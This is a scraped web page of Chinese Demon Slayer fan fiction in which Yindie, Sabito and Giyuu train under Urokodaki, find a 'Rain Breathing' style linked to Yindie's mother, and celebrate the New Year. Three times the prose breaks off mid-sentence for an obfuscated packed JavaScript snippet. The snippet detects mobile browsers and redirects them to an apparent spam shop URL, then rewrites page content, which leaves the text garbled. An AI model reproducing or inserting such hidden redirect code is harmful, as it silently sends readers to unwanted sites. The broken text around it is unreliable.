音叶倒是无所谓,与义勇的眼神相撞,她脸上又快速浮现出一个没心没肺的笑容,好像忘记了自己曾经有多痛。 义勇没回答,像是在沉思什么,气氛一时有些尴尬。 音叶没有让场面安静下来,反而是叽叽喳喳问了义勇许多关于城里的事情:“喂我说,义勇,你是在城里长大的吧?你们现在用电吗?方便吗?是不是很舒服呀……” 音叶的问题一个接着一个,义勇有些招架不来,想摆摆手拒绝,但又拒绝不掉,他把求助的眼神看像锖兔。 锖兔替他解围:“走了,再歇天就黑了。” 他往前走,义勇站起来,跟上去。 走了几步,锖兔头也没回地说:“以后疼就说,强忍着伤痛不是我们男子汉的行为……” 上山的路很陡,锖兔走得很快,但他没再跑起来,只是走着,义勇刚刚好能跟上。 跑完山回来,鳞泷左近次已经在猎户家门口等着了。他看了义勇一眼,沉吟不语,最后点点头:“明天继续。” 他说完转身就要走。 “师父。” 义勇站在那儿,看着他,语气坚定:“我会活着的。” 鳞泷左近次没理他,继续往前走,背影在视线中变小,直到消失。 锖兔从他旁边经过,招呼他:“走吧,去劈柴。” 义勇跟着锖兔往院子里走,手心有汗,他伸手往衣服上蹭了蹭,发现有一点痛,就看见跑山时不知道什么时候蹭破的一点皮。 义勇没管,继续跟上去,帮锖兔和音叶劈柴。 音叶倒是偷偷摸摸过来,往他手心里塞了一个东西,又问她:“腿还痛不痛?” 义勇老实地回答:“……疼。” 义勇看向手中的布包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375030|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是音叶刚刚塞来的,里面放着方方正正的一个盒子。 “这是爷爷特意给你的药,怕你腿疼,这药可管用了。” 日子一天天过去,义勇也适应了这样的生活节奏。 他的伤慢慢好了,能跑的路越来越长。音叶或锖兔把他带回鳞泷小屋,让他以后都在鳞泷小屋住下。 他还是会跟着音叶和锖兔一起跑山,一起劈柴,偶尔一起在溪边抓鱼,不过现在天冷了,鳞泷师父好像已经不允许了。 鳞泷师父每天都会来看他训练,有时候待得久一点,还会教他认几种草药,告诉他山里哪些路能走,哪些路不能走,大部分时候只是站一会儿,看他练了一会儿,就走了。 义勇不知道这算不算收徒?鳞泷师父从来没有直截了当地告诉他我教你杀鬼,也没让他练过刀法,只是让他跑山,嘱咐他把身体养好。 他有点急,但是不敢问,直到他自己终于忍不住了。 “师父。” 鳞泷正在看他们三个劈柴,听见这一声,转过头,义勇站在他面前,低着头。 “我想学杀鬼。” 鳞泷还没来得及说话,少年又急急忙忙接着说:“我身体好了,我现在很健康了,我想学。” “你知道杀鬼意味着什么吗?” “知道。” “我送走的那些孩子,你的师哥师姐,很多都没回来。” 义勇语气坚定:“我不怕死。” 鳞泷的眼神动了一下。 “我怕。”他说。 义勇像是被下了定身术,一动也不能动。鳞泷看着他,又看看旁边的锖兔和音叶。 “我怕你们死。” 这句话说出来,院子里安静得能听见落叶的声音。 锖兔和音叶像没听见似的接着劈柴,只是劈得更快了,劈下去的声音也更大。 鳞泷转过身:“继续练吧,把柴劈完。” “……劈柴吧。” 义勇拿起斧头,继续劈,音叶也蹲下去,把劈好的柴堆起来。 义勇脑海里想起刚才那句话——我怕你们死,并不是你,而是你们。他低下头蹲下去,帮音叶堆柴。 吃完饭之后,鳞泷师父把义勇喊到房间里,递给他一个绑腿,用来束住裤脚,然后他伸手,在义勇头上拍了一下,义勇不确定这是摸还是拍。 “锖兔用来绑腿用的,你应该也缺一个。”他说。 义勇知道这个绑腿,锖兔的是龟甲纹,好像是他父亲的遗物做的。而他的是新的,还没染过,是本来的麻白色。 他拿起那根白色的绑腿,慢慢系在腿上,系得很紧。 从那以后,义勇真正开始训练了。和音叶、锖兔一样的进度:跑山,劈柴,过陷阱,学呼吸。 学的时候,义勇学得很快,理解得也快,但是在生活方面,还是有一些不懂的。 比如生火,他打了好长时间的火石,火星都没落到引火绒上。锖兔在旁边看着,眉头越皱越紧,最后忍不住了,一把拿过来,打了一下,火绒就着了。 “看着。” 他又打了一下:“再来。” 义勇接过来,又打了好久,这次终于打着了,火绒冒烟的时候,他愣在那儿,盯着那点烟。 “吹啊。”锖兔催促。 义勇吹了一下,火苗蹿起来,锖兔在旁边笑了一声。 义勇抬头看他,他也看着义勇,两个人对视,然后义勇低下头,继续守着那堆刚生起来的火,嘴角也悄悄扬起一点。 就这样一直到他们休息的那天,音叶带着义勇坐在溪边的大石头上休息,悠哉悠哉地晃着腿,锖兔则是被她打发去山上摘野菜去了。 义勇突然开口:“师父是不是……不想教我们?” 音叶没这样觉得:“他想教我们啊。” “我是说……”义勇想了想,“他好像不想让我们去那个选拔。” 音叶晃腿的动作停住了,她想起师父那天说的话。 “他确实不想。”她说。 义勇静静地看着她。 “爷爷…他失去太多了,”音叶说,“真菰师姐,健太师兄,还有以前那些哥哥姐姐,他不想再失去了。” 义勇低下头,看着溪水。 “那他还愿意教我吗?” “但是他不能不教,他是鬼杀队的前水柱,现在是鬼杀队的培育师,这是他的工作。” 音叶深吸一口气:“鬼还在吃人,总要有人去杀。” 义勇没说话,过了一会儿,他又开口:“那他希望我们……一直留在这儿?” 音叶装作苦恼地沉思了一会儿。 “可能吧,”她说,“把我们三个一直养在身边,永远不要去最终选拔那个山。” 义勇问:“那你去那个山参加选拔吗?” “去。”她想也没想,坚定地说。 “我也去。”他低声附和,感觉音叶的手握紧了他的手。 远处传来锖兔的声音:“这里的野菜好多,你们快来!我们一起看看哪个能吃……” 音叶松开牵着义勇的手,轻轻地拍打身上的灰尘,下巴对着锖兔的方向轻点:“走吧,我教你怎么区分哪些野菜能吃哪些野菜不能吃。” 他们牵着手往山坡上走,去找发现了一大堆野菜的人,音叶大喊:“我们来了——!” 10. 母亲 自从义勇搬进鳞泷小屋后,三个人的关系肉眼可见地近了很多。音叶会教义勇一些在山上居住的常识,锖兔表面上虽然不为所动,却会在义勇为难的时候抢过义勇手中的活,还傲娇地表示是他自己想做。 等到音叶发现的时候,两个男孩子的友谊已经坚不可摧了。 阳光穿过雾霭照进狭雾山,枫叶已经红透了,风中带着萧瑟的凉意,音叶神神秘秘地凑到两个男孩子身边跟前,一看就是发现了什么新鲜的事物:“我发现了一条新路。” 锖兔正在劈柴,斧头停在半空,偏头问:“什么新路?” “山里的一条路,”音叶压低声音,故意制造出神秘感,想要吸引两个男孩的注意,见义勇好奇的眼神已经看过来了,不遗余力地说道:“应该很少有人从那条路过,从屋后那片林子往里走,绕过去,能到没见过的地方。” 锖兔看了她一眼,把斧头劈下去,把下面的木头劈出一道裂痕:“师父说了,不能乱跑。” “那不是乱跑,”音叶强词夺理,“是探险。” 锖兔没理她,音叶又换了一个目标,凑到义勇身边,义勇明明个子不矮,但是总是喜欢把自己缩起来:“义勇……难道你就不好奇?” 义勇看起来不适应音叶的突然凑近,整个人往后缩了一下:“师父没说过让我们去那边。” “那边可能有更大的溪,更多鱼。” 锖兔放下手中的斧头:“……师父说过不能乱跑。” 音叶看着他,不说话,漏出楚楚可怜的模样,锖兔撇过头不理她。但是过了一会儿,等到劈完最后一根柴,就把斧头往地上一插:“……什么时候去?” 音叶笑起来:“现在。” 义勇看了看天,天灰蒙蒙的,云压得很低,这是要下雨的前兆。 “可是要下雨了。” “小雨而已,”音叶已经兴高采烈地往山上走了,“快点,趁爷爷下山买东西的功夫,等他回来我们就真的走不了了。” 锖兔跟在后面,走了几步,回头看了义勇一眼,问他:“义勇,你来不来?” 义勇站在原地,看了看天,又看看那两个已经走出去的背影,他跟上去。 一开始还好,音叶在前面带路,从屋后那片林子穿进去,绕过错综的树根,踩过覆满青苔的石头,可是到了后面林子越来越密,光线越来越暗,头顶的树冠把天遮得只剩一小条。 “你确定是这条路?”锖兔察觉到不对,皱眉问道。 “确定。” “你走过?” “没有。” 锖兔停下来,显然是没想到音叶胆子这么大,似乎气得不轻:“那你怎么知道是路?” 音叶回头看他,理直气壮:“因为没人走过。” 锖兔张了张嘴,发现自己说不过她,想回头让义勇帮忙,却发现义勇跟在最后面,一声不吭,他只是偶尔抬头,透过树叶的缝隙看看越来越暗的天。 义勇说得没错,雨没一会儿就来了,啪嗒啪嗒地落在树叶上,后面密起来,变成细细的雨丝,从树叶缝里漏下来,落在三个人的身上。 “义勇都说了会下雨。”锖兔说。 音叶没理他,继续往前走,锖兔和义勇跟在她身后,树林变得茂密起来,树与树之间过于相似,让锖兔心里的不安感加重。 直到音叶停下脚步,锖兔就意识到了:“你……不会迷路了吧?” 音叶没出声,只是尴尬地回头笑了一下。 “你不是说这是路吗?” “是路,”音叶说,“但是我不认识。” 锖兔看着细雨飘落,深呼吸了一下,才缓缓收回目光:“那怎么办?” 音叶保持了沉默。 三个人站在雨里,你看着我,我看着你,雨不大,细细密密的,落在树叶上滴答响。越往里走雾越浓,已经把来时的路吞没了。 “往回走?”锖兔问。 音叶看了看四周,摇了摇头:“不认得回去的路了。” 雨落在他们身上,头发湿了,衣服湿了,绑腿也湿了,凉意从脚底往上爬,但谁都没动。 音叶似乎感觉到了什么,头倏的一下抬起,朝那个方向指:“那边。” 锖兔顺着她的手指看过去,雨雾里,有什么东西在动——是一只牝鹿。 鹿的体型很大,深棕色的外表,站在不远处的树影里。雨落在它身上,顺着皮毛往下淌,它一动不动,只是看着他们。 音叶往前走了一步,鹿没有跑,反而又往前一步,这让音叶备受鼓励,踮起脚想要再往前一步。 锖兔在后面低声喊:“音叶。” 音叶没理他,她看到这只鹿,似乎有一种熟悉感,这种熟悉并不是来源于记忆,倒像是骨子里某一种力量,促使她靠近这只牝鹿。 鹿温顺地弯下腰,让音叶抚摸她的头顶。随即转过身,往林子里走,见音叶没有跟上,又停下来,回头看她,似乎在示意她跟着一起走。 音叶跟上去,锖兔和义勇对眼前的一幕感到震惊,但对视一眼,还是跟在音叶后面。 鹿走得不快,正好是他们跟得上的速度,穿过林子,绕过巨石,又踩过一道道的溪流。雨一直在下,细细密密的,落在身上不冷,反而有一种说不出的舒服。 音叶走在最前面,一直看着那只牝鹿,她说不清那种感觉是什么。 从看见鹿的那一刻起,有什么东西不一样了——雨落在身上的时候,她能感觉到每一滴雨落下的位置,而呼吸的时候,空气里的水汽钻进肺里,再从肺里出来,带着一点温温的、潮潮的东西。 这似乎和爷爷教的呼吸法有些相似。 鹿走在前面的林子里,雾很浓,有时看得见它,有时看不见。但音叶却知道她一直都在,因为她可以感觉到。 就这么一直往前走,锖兔和义勇分别站在音叶的两边,两个人似乎看起来都有点疑惑,但是没有对在山里长大的音叶提出质疑。 直到鹿停下来,前面透出一点光,音叶走过去,拨开最后一片灌木,那是爷爷为她们留的灯——鳞泷小屋就在前面。 雨雾里,屋子的轮廓朦朦胧胧的,窗口透出昏黄的灯光。 音叶站在那儿,看着那盏灯。鹿最后亲热地凑近音叶,似乎想让音叶再摸摸它的头,音叶抬手照做,鹿又往她手心蹭了蹭,随后就消失在雾里。 锖兔和义勇从后面跟上来,站在她旁边。 “……回来了。”锖兔说,声音有点哑。 义勇没说话,只是看着那间小屋。 雨还在下,落在屋顶上,音叶没有动。她站在那里,淋着雨看着那盏灯。 哪怕鹿已经走了,那种感觉却依然还在,比之前甚至更强烈了。 每一滴雨落在身上的位置,每一片树叶被风吹动的声音,她都能感觉到。 “走吧,”锖兔说,“进去烤火。” 他往小屋里走,义勇跟上去他,又一步三回头地看着音叶,他在担心她。 音叶转头看过去,林子里什么也没有,只有浓雾中的绵绵细雨还在飘着。 她转过身,走进小屋。 鳞泷左近次正在灶台边煮什么东西,听见门响,回头看了他们一眼:“回来了。” 爷爷好像对她们的行踪了如指掌,没问去哪儿了,也没问为什么浑身湿透,而是接着往灶里添了一根柴。 招呼他们:“把湿衣服换下来,锅里给你们煮了姜汤。” 三个人乖乖照做,鳞泷左近次深深地看了一眼音叶。 锖兔喝了一口姜汤,似乎终于忍不住了:“师父,你就不问我们去哪儿了?” 鳞泷左近次平静道:“你们这不是回来了吗。” 锖兔张了张嘴,说不出话来,义勇低着头喝姜汤,一声不吭。 音叶坐在炉子边,盯着炉火发呆。 从遇到那只鹿开始,那种感觉越来越强烈,虽然没有不舒服,音叶却觉得她身体里有一种神秘的感觉在蔓延,一天比一天更清晰。 练习呼吸法的时候,她能感觉到自己呼出的气和吸入的气之间有了形状,爷爷说这是好事,代表着她的呼吸法进步得很快。 锖兔发现了她的心不在焉:“你最近怎么怪怪的?” “哪里怪?” “说不上来,”锖兔看着她,“就是怪。” 义勇也发现了:“你走路没声音。” “胡说,明明有声音。” “比以前轻,”义勇垂下眼睑,“不仔细听的话根本感觉不到。” 音叶不知道该怎么向他们解释, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375031|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她只知道这种状态在自己体内愈演愈烈,直到达到顶峰。 音叶一个人在屋后的空地上,月亮高高挂起,她站在那里,握着刀。 音叶闭上眼睛,她想起那只鹿,想起雨落在身上的感觉,深深吸进一口气,感受这股气蔓延至她身体的每个角落,最后再由肺部呼出。 音叶举起木剑,按照真菰教她的做法,开始挥刀,她感觉到自己挥出去的刀引来的风似乎带着绵绵细雨,就像那天的甘霖飘在她身上。 月光落在刀刃上,刀刃上好像有东西在流动,亮亮的像雨丝。 音叶停下来,握着爷爷给的木剑,像是濒死的人一样大口大口喘着气。 身后传来脚步声,鳞泷左近次走到她旁边,站定。月光照在他脸上,他没戴面具,面上细细的纹路伴随他的笑跟着动,眼角眉梢晕开了笑意。 “爷爷。” “嗯。” “我刚才……” “我知道。” 音叶转头看他,鳞泷左近次看着前面的空地,没有看她。 “呼吸法有很多种,”他说,“水之呼吸是最基本的一种呼吸法,很容易上手,也被人使用得最多。但是有些人练着练着,就变成别的了。” 这些话一字一字地送进音叶耳朵里,非常清晰,她渐渐理解爷爷话里的意思。 他转过头,瞭起视线望向音叶:“你刚才那个,叫什么?” 音叶愣了一下,她回想刚才挥刀时的感觉,像是带起了一阵绵绵细雨。 “我不知道……”音叶茫然道。 鳞泷左近次沉思地看向她,似乎在透过她去看另一个人,他说:“霖之呼吸。” 音叶觉得自己什么都不知道,她只是练了剑法,试着将呼吸法和剑法结合,练完就是这样。 可是当爷爷说完这个呼吸法之后,她似乎觉得自己在哪里听过,有什么东西从心底浮上来。 霖,那个字就浮在那里,像本来就该在那儿。 “霖。”她说。 鳞泷左近次转过头看着她,月光下,他的眼神里有音叶看不懂的东西在晃动。 “霖之呼吸。”音叶轻轻呢喃。 她不知道这个名字是从哪儿来的,明明在记忆中她从来都没听过这个呼吸法,可是说出来的时候,那么自然、熟悉,好像曾经听人说过无数遍。 音叶匪夷所思。 鳞泷左近次盯着他看了许久,音叶觉得自己肯定是看错了,不然自己怎么能从爷爷的眼眶中看到……眼泪?怎么能是眼泪呢……爷爷从没在她面前哭过。 “那只鹿。”音叶静下来,不再胡思乱想,仔细听爷爷讲话。 “你母亲也见过。” 音叶一时间怔在原地,像是被人下了定神术一般,手脚似乎都不是自己的。 母亲……这个词她太久没听过了。 “她曾经是我的继子,一位令人钦佩的剑士,”鳞泷背对着她,声音很平,像在说今天天气不错,“也创了自己的呼吸法,一样的名字。” 音叶嘴唇动了动,话明明都到了嘴边,却不知道如何开口,好像喉咙里卡了一块很大的疙瘩。 “她走的时候你还太小,一岁出头,不记得也正常。”鳞泷继续往前走,又补充道,“她那时候也喜欢雨天。” 没等音叶说话,他就快步走回屋子里,门却没有关紧,给音叶留个一条缝。 音叶站在月光里握着刀,看着爷爷给她留的门缝,脑子却转不动了。 风从山那边吹过来,带着山里草木的气息,吹起她脸颊边的碎发。音叶感觉到脸上似乎有什么东西碰过,温温的触感,像是真菰那是摸她一样。 她抬起手,摸了摸自己的脸,什么都没有。 可是刚才…… 她抬起头,看着头顶的月亮。难得没有雾,月光静静地泻在山上的每一个生物上面。 脸上那一点淡淡的、快要散去的温度。 她今天得知的消息太多了,以至于思想宕机了,除了妈妈什么也不想再去思考了。 霖之呼吸……妈妈也练过。 音叶低下头,看着自己手里的木剑。 她想起那只鹿在带她回来的时候看了她一眼,它在带她回家。 回那个母亲也走过的家。 11. 耳光 年关将近,狭雾山的温度达到了零下。早上推开门的瞬间,冷气灌进领口,音叶忍不住缩了缩脖子。 “今天大扫除,”鳞泷左近次的声音从屋里传出来,“把屋子收拾干净,晦气都清出去。” 锖兔已经在院子里了,正往木桶里打水,看见音叶出来,朝她点点头。义勇站在他旁边,等着帮忙抬水。 音叶去拿扫帚。 大扫除这件事,她以前和爷爷一起做过。其实没什么可扫的,就是把角落的灰拢一拢,把被子晒一晒。但是这是过年的习俗,以一种辞旧迎新的方式去迎接新年。 锖兔负责擦窗户和门框,他爬上爬下,把每一根木框都擦得发亮,连最上面够不着的地方也让音叶搬来梯子擦了一遍。音叶负责屋里,把被子拍打松软,在晾到院子里,又把灶台后面的陈年积垢刮干净,把角落的灰扫成一堆。 义勇则是被派去整理杂物,他把堆在屋角的柴火重新码好——这活儿他干过很多次了,已经知道怎么码才稳当。又把师父做面具剩下的木屑扫成一堆,把挂在墙上的旧工具都擦了一遍。没什么难的,就是事多,需要一件一件地做。 大扫除结束的时候已经快到中午了,音叶直起腰,腰已经酸得不像话了,她用手捶打着自己的腰,看向四周。 屋子确实比原先明亮多了,窗户被擦得锃亮,阳光照进来甚至还有些反光,看久了还会刺眼。被子拍打过后,被音叶晾在院子里晒太阳。灶台后面的黑垢刮掉之后,露出了原本的颜色。 她看见锖兔在院子里,正把抹布往木桶里扔。义勇蹲在旁边,整理着码好的柴火。 爷爷从屋里走出来,里里外外看了一圈,最后满意地点了点头。 “明天摆正月的东西。” 新年开始之前,需要把家里打扫干净,再按照习俗摆放东西。 鳞泷左近次从房间里搬出门松。两根斜砍的竹子,围上松枝,用草绳扎紧,这是四个人围在一起做的,没想到最终成果出奇得标志。 锖兔从左近次手中接过去,摆在院子大门两边。他退后几步看了看,左边那根好像歪了一点,又走过去调整了一下。 注连绳是也是他们自己扎的,稻草编成的绳子,比音叶的手臂还粗,上面垂着几根白色的纸垂。音叶踩着凳子,把它挂在门框上方,爷爷在下面看着,说左边高点,她就踮脚往左边挪一点。 “行了。”师父说。 音叶跳下来,退后几步看了看,注连绳挂在门上,纸垂在风里轻轻晃着。 义勇站在院子里,抱着镜饼的架子。 镜饼是爷爷自己做的,音叶也喊着要帮忙,最后以满脸面粉的样子狼狈地被爷爷赶出厨房。两个扁圆的年糕摞在一起,上面顶着一个橙子,样子有点奇怪,但音叶知道这是过年必须要摆的东西。她在爷爷的指挥下把它端端正正摆在屋里的壁龛前。 午饭过后,太阳升到了最高处,寒冷的冬天有阳光是一件非常幸福的事情,音叶坐在院子里的大木头上,看着门口摆着的门松。 锖兔从旁边经过,在她旁边蹲下来。 “看什么?” “门松,”音叶说,“之前都是爷爷一个人做,这次是我们大家一起做,没想到成果还挺好。” 锖兔看着门松,不知道在想什么,然后说:“那我们以后也一起做好了。” 义勇从屋里走出来,看见他们俩坐在木头上,站住,然后坐过去并排坐在音叶的身边。 锖兔回头看了他一眼。 三个人挤在被切开的木头横截面上,看着院子里的门松。 “明天就是除夕夜了。”锖兔说。 音叶点点头,义勇没说话,只是嘴角笑着。 早上起来的时候,音叶就闻到厨房里飘出来的味道——与平时的味噌汤有所不同,香味要更浓郁,勾起她肚子里的馋虫。 “爷爷在煮什么?”她问。 “粥在桌子上,”锖兔说,“师父在煮晚上吃的跨年荞麦面的汤底。” 音叶端起桌子上的粥,大口大口地吃着。 除夕的白天和平时差不多,还是一样的流程:跑山、劈柴、练挥刀。但气氛不太一样——锖兔跑山的时候比平时快,劈柴的时候比平时用力,练刀的时候也比平时认真,好像急着把今天的事做完,好去做更重要的事。 义勇还是一样,不多话也不着急,只是静静地跟着他们一起做。 太阳落山的时候,他们三个一起回到鳞泷小屋,左近次把晚饭端上来。 是锖兔早上说的跨年荞麦面。汤是早上现熬的,飘着几片葱花,荞麦面的面比平时吃的粗一点,每个人面前一碗,热气腾腾的。 音叶吃了两口,直接伸出大拇指:“好吃。” 锖兔没说话,低头吃自己的。义勇也在埋头吃,一碗很快就见底了。 “再来一碗?”师父问。 义勇愣了一下,点点头。 师父又给他盛了一碗。 吃完饭,天已经全黑了,鳞泷左近次站起来,开始穿和服羽织:“走吧,去听钟,外面很冷,要多穿点。” “现在?”锖兔问,“这么早?” “走下山要时间,”师父说,“去晚了没地方站。” 三个孩子跟着他往外走,山里的夜路不好走,但左近次走得很稳,他们跟在后面,深一脚浅一脚的。 山下的寺庙不大,能容纳的人也少,这时候门口已经站了几个人。灯火从里面透出来,把寺庙的轮廓勾成暖黄色。 一百零八下钟声。 一下一下,沉沉的,在耳边回荡着,音叶一边听着,心里一边也跟着数。结果数着数着走了神,回过神的时候已经跟不上节奏了,干脆不数了,只是听着。 最后一下敲完的时候,有人喊了一声“新年好”。 锖兔打了个哈欠。义勇站在旁边,看着寺庙里的灯火,不知道在想什么。 “走吧,回去睡觉。”师父说,“明天还要早起。” 新年当天。 天还没亮,师父就把他们叫起来了:“快清醒一下,我们要去初诣。” 三个孩子揉着眼睛,跟在师父后面往山下走,音叶太困了,几乎是趴在义勇背上被他拖着走,义勇没说话,只是抱着音叶的手更紧了。 还是那个小寺庙,门口挂着灯笼,里面点着篝火,今天的人比昨天的人还多,但也没多到挤不进去。 鳞泷左近次带着他们走进去。 投钱、摇铃、拍手、合十,动作一气呵成。 音叶闭着眼睛许愿,她比较贪心,许了好几个愿望,着重向神明大人强调了最重要的一个愿望:希望大家都能平安健康。 锖兔也闭着眼,眉头皱着,很认真的样子。不知道在许什么愿。 义勇站在最后面,合着眼,他不知道自己该许什么。想了很久,最后想的是希望他们可以一直在一起。 几个人参拜完,音叶带着两个第一次在这过年的男孩来到小摊子这边:“快过来快过来,这里可以抽御签。” 锖兔对这个没兴趣,比起神明,他更相信自己,于是摆摆手:“你们抽吧,我对这个不太感兴趣。” 音叶没强迫他,自己抽了一张,结果是小吉,上面的和歌她看不太懂,但觉得应该还行,至少占了一个“吉”字。 义勇站着没动。 “你不抽?”音叶问。 义勇摇摇头。 鳞泷左近次在旁边看了他一眼,从怀里掏出三个小布袋,是御年玉袋,上面还有一些缝制的简单图案。他给每个小孩一人递了一个。 “压岁钱。” 锖兔接过来,眼睛亮了一下,但没打开看。音叶接过来,说了声谢谢爷爷,义勇接过来,攥在手里,也学着音叶说了一句谢谢师父。 回去的路上,音叶终于忍不住打开看了一眼。薄薄的小布袋子里,装着三枚一日元的金币,她用手摸了摸精心缝制的图案,又仔细看了看日元金币,然后小心地收好。 锖兔也打开看了,三日元,他从来没拿到过这么多钱。 义勇没打开,一直攥着。 “你为什么不看?”锖兔问。 义勇乖乖地说:“回去再看。” 锖兔不理解,但没再问。 新年的头几天不用训练。他们就待在小屋里,或者去附近转转,鳞泷左近次也不管他们,由着他们自己玩,只是嘱咐他们别走远了,千万要按时回家。 一开始三个人去溪边玩,但是水太冷,锖兔说等天暖和了再来。后面他们就在院子里晒太阳,太阳暖烘烘的,照在身上,让人想睡觉。 锖兔终于坐不住了,拉着他们去林子里走了走,走了半天,什么都没看见,又走回来。三个人任命地坐在院子里那根躺倒的木头上晒太阳,音叶眯着眼,止不住地点头,很快就要入眠了。 这时候义勇突然开口:“我有时候会想。” 锖兔和音叶都看向他。 义勇没看他们,还是盯着前面的地面。 “如果那天死的是我该多好。” 锖兔的背僵住了,然后不停地颤抖。义勇没有注意到,他依然在说自己的想法。 “姐姐把我藏在柜子里,”义勇说,声音很低,“她自己挡着,我听着她……什么都做不了。” 他顿了顿。 “她本来第二天就要成婚了……我们相依为命一起长大……她还有大好的未来。” 音叶顺了顺义勇的头发,头发和人一样,有点硬,有自己的想法。义勇任由她顺着,还在继续说。 “然后我想,”义勇说,“死的人还不如是我……” 院子里安静得能听见风的声音,锖兔身体猛地站起来,脚步有些急促,他走到义勇面前,低头看着他。 义勇茫然地仰头看着锖兔。 “你刚才那句话,再说一遍。” 义勇沉默:“死的人还不如是我。” “啪。” 很响、很重。 义勇整个人往旁边歪了一下,扶住木头才没摔倒,脸上立刻浮起一个红印,嘴角破了,渗出一丝血。 但他并没有躲,只是捂着脸,看向锖兔。 锖兔站在他面前,胸口剧烈地起伏着。眼眶红了,音叶看得出来,他眼里压抑着怒火。 “不准再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375032|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说这种话,你姐姐为了保护你放弃自己的生命,不是为了让你在这里自我放弃的,这对她的死是一种侮辱……”他的声音在抖。 “什么死的人还不如是你……什么她活着比你好……不准再说。” 义勇捂着被打的那边脸看着他。 “你要是再说——”锖兔的拳头攥紧了,下定了决心,开口,“你要是再说,我们就到此为止。”① 义勇眼皮抽动着,睫毛一颤一颤的,在眼下投射出阴影,他有些不知所措,脸上的疼痛感还在持续,然后他听见锖兔说—— “我再也不跟你当朋友了。” 锖兔决绝地转身就走,步伐很急很仓促,一步也没回头。 走了几步,停下来:“她把你藏起来,不是让你说这种话的。” 义勇坐在木头上,捂着脸,一动不动,听到锖兔这句话眼光微动,风吹过来,将他的头发吹向一侧。 音叶坐在旁边,拉下义勇的手看了一眼脸上的伤,心里有个大概,转身去屋里拿药。 义勇就坐在小屋后面的台阶上,对着眼前发呆,脸上那个巴掌印还在,嘴巴旁的写到是被他用袖子擦干净了,红色的袖子上看不出血的痕迹。 音叶走过去,在他旁边坐下,义勇没看她。 两个人坐着,谁也不说话。 过了很久,音叶开口:“锖兔手重。” 义勇没动。 “锖兔就是那个脾气,听不得活下来的人说一些丧气话,你别往心里去。况且,他自己都不知道自己手有多重,”音叶说,“他要是知道,肯定不会打这么狠。” 义勇还是不说话。 音叶有些担心,眨眨眼,回头看着沉默不语的男孩:“但他说的那些话,他是认真的。” 义勇微乎其微地上下点头,表示他在听音叶讲话。 音叶继续说:“他是真的生气,不是生你的气,是气你说那种话。” 过了很久,义勇开口:“疼。” 音叶扭过头看他。 “脸,”义勇说,“疼。” 音叶从怀里掏出药罐,她回屋子里找爷爷要的,一直揣着。她把他的脸扳过来一点,蘸了药水,轻轻抹在那个巴掌印上。 药水凉凉的,和脸上的烫碰在一起,最开始音叶摸的时候,义勇顿住了,抬头直勾勾看着音叶,也不躲,也不说话,就看着音叶给他上药。 抹完了,音叶把药罐收起来,往义勇怀里塞过去,对他叮嘱:“每天洗过脸之后涂一下,过两天就好了。” 义勇乖乖地点点头。 “你刚才说的那些话。”音叶突然开口。 “你姐姐把你藏起来,让你活下去,不是让你想那种事的。” 义勇的神色一黯,拿着药罐的手止不住颤抖,自己缓了许久才转过头看音叶。 “既然她为了保护你活着,”音叶说,“你就不能白白浪费你姐姐的心意……” 义勇看着她。 “你姐姐肯定希望你能够幸福,”音叶说,“你能活着她肯定是最高兴的。” 阳光照在身上,明明是很冷的天气,义勇却感觉后背发热,不住地有汗冒出来。他低下头,手里摸着药罐,神色带着释然。 “……我想起来了。” 音叶没问他想起了什么。 义勇开口:“她把我藏起来的时候说了一句话,她说,义勇,你要好好的。”他的声音有点哑。 “我一直没想起来。” 过了很久,义勇站起来:“我回去了。” “音叶。” “嗯?” “谢谢。” 音叶没点头,脸上倒是扬起了笑容,她是真心为自己的伙伴感到高兴。女孩站起来,拍拍身上的灰尘,扑过来用力拥抱义勇。 “不用谢,”她说,“你自己想明白的。” 义勇在女孩扑过来的瞬间条件反射接住她,手不自然地攥成拳头,怕她掉下来,又往上托了托。 第二天早上,锖兔已经在院子里了。 义勇走过去,站到他旁边,脸上的巴掌印还看得见,嘴角的血痂还在。 锖兔看了他一眼,表情夹杂着别扭与歉意,问他:“……还疼?” 义勇想都没想地把实话告诉他:“疼。” 锖兔把脸转过去,手放在后脑勺上,脸侧过去,向他道歉:“对不起,义勇,我太着急了…音叶说得对,我该换种方式跟你说的。” 义勇摇头:“不,锖兔,是我该给你道歉,一直以来这些天都用这种逃避的想法生活……” 锖兔瞪大了眼睛,瞳孔缩了起来:“你给我道什么歉,是我打了你!” 义勇坚定:“我确实该给你道歉。” 锖兔沉默了,义勇也不知道说什么好,于是两个人就一起陷入沉默中。 音叶从屋里出来,看见的就是这两个人——并排站着,谁也不看谁,谁也不说话。 她走过去,站到义勇另一边。 